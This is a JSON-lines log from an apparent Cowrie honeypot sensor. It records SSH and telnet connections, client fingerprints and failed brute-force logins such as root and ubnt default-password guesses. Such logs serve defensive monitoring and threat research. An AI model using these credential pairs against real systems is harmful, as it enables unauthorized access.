{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43122,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef4f9e23051","protocol":"ssh","message":"New connection: 103.82.132.16:43122 (159.203.135.109:22) [session: 1ef4f9e23051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:06.269547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:06.273872Z","src_ip":"103.82.132.16","session":"1ef4f9e23051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:06.533441Z","src_ip":"103.82.132.16","session":"1ef4f9e23051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456zx","message":"login attempt [root/123456zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:07.436538Z","src_ip":"103.82.132.16","session":"1ef4f9e23051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.20926308631897,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:08.603578Z","src_ip":"152.42.224.71","session":"331957096f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:08.697426Z","src_ip":"103.82.132.16","session":"1ef4f9e23051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31924796104431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:11.535410Z","src_ip":"152.42.224.71","session":"15a0600e43ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed88e094925","protocol":"telnet","message":"New connection: 152.42.224.71:45684 (10.17.0.5:23) [session: 5ed88e094925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:17.834813Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":42242,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d57080a6da9","protocol":"ssh","message":"New connection: 43.130.35.229:42242 (159.203.135.109:22) [session: 3d57080a6da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:21.279349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:21.283946Z","src_ip":"43.130.35.229","session":"3d57080a6da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:21.352176Z","src_ip":"43.130.35.229","session":"3d57080a6da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:21.656359Z","src_ip":"43.130.35.229","session":"3d57080a6da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:22.728311Z","src_ip":"43.130.35.229","session":"3d57080a6da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.950318813323975,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:28.098666Z","src_ip":"152.42.224.71","session":"d2d66877a0a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"646fee075450","protocol":"telnet","message":"New connection: 152.42.224.71:52612 (10.17.0.5:23) [session: 646fee075450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:29.361904Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":33472,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c22d75738f0","protocol":"ssh","message":"New connection: 193.46.255.86:33472 (10.17.0.5:22) [session: 7c22d75738f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:31.131387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:31.138654Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00098037719727,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:31.260948Z","src_ip":"152.42.224.71","session":"8ba70220fba0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:31.268936Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:31.864665Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:32.997753Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:34.130912Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:35.264978Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.67012047767639,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:35.662824Z","src_ip":"152.42.224.71","session":"cd01e80cfe51","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:36.398417Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:37.532394Z","src_ip":"193.46.255.86","session":"7c22d75738f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163459777832,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:37.780042Z","src_ip":"152.42.224.71","session":"c16aaf9dc4da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.097522497177124,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:39.605192Z","src_ip":"152.42.224.71","session":"3e567d04df53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.76525568962097,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:45.018780Z","src_ip":"152.42.224.71","session":"15259b223a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418792009353638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:48.253485Z","src_ip":"152.42.224.71","session":"5ed88e094925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00654101371765,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:59.392837Z","src_ip":"152.42.224.71","session":"ad8bf0e687ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":53482,"dst_ip":"159.203.135.109","dst_port":22,"session":"284935ec0ae2","protocol":"ssh","message":"New connection: 43.133.34.13:53482 (159.203.135.109:22) [session: 284935ec0ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:00.799577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:00.804248Z","src_ip":"43.133.34.13","session":"284935ec0ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":38288,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb178db8e260","protocol":"ssh","message":"New connection: 72.52.132.30:38288 (159.203.135.109:22) [session: bb178db8e260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:00.985973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:00.996778Z","src_ip":"72.52.132.30","session":"bb178db8e260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:01.034851Z","src_ip":"72.52.132.30","session":"bb178db8e260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:01.043834Z","src_ip":"43.133.34.13","session":"284935ec0ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:01.213856Z","src_ip":"72.52.132.30","session":"bb178db8e260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"neo123","message":"login attempt [root/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:02.025921Z","src_ip":"43.133.34.13","session":"284935ec0ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:02.254705Z","src_ip":"72.52.132.30","session":"bb178db8e260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:03.267069Z","src_ip":"43.133.34.13","session":"284935ec0ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.24434876441956,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:04.036261Z","src_ip":"152.42.224.71","session":"e5b90085c800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49496,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c3a7452166","protocol":"telnet","message":"New connection: 152.42.224.71:49496 (10.17.0.5:23) [session: 54c3a7452166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:05.233121Z"}
{"eventid":"cowrie.session.closed","duration":120.00512552261353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:09.695458Z","src_ip":"152.42.224.71","session":"582ee2b1e6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85b4f281975","protocol":"telnet","message":"New connection: 152.42.224.71:58806 (10.17.0.5:23) [session: f85b4f281975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:11.256281Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"97934bcc5368","protocol":"ssh","message":"New connection: 191.96.110.121:38100 (159.203.135.109:22) [session: 97934bcc5368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:12.283298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:12.287502Z","src_ip":"191.96.110.121","session":"97934bcc5368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:12.788300Z","src_ip":"191.96.110.121","session":"97934bcc5368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58100,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e97258e1536","protocol":"ssh","message":"New connection: 193.37.70.224:58100 (159.203.135.109:22) [session: 5e97258e1536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:12.943164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:12.948018Z","src_ip":"193.37.70.224","session":"5e97258e1536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:13.037185Z","src_ip":"193.37.70.224","session":"5e97258e1536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08051973god","message":"login attempt [root/08051973god] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:13.305692Z","src_ip":"193.37.70.224","session":"5e97258e1536","protocol":"ssh"}
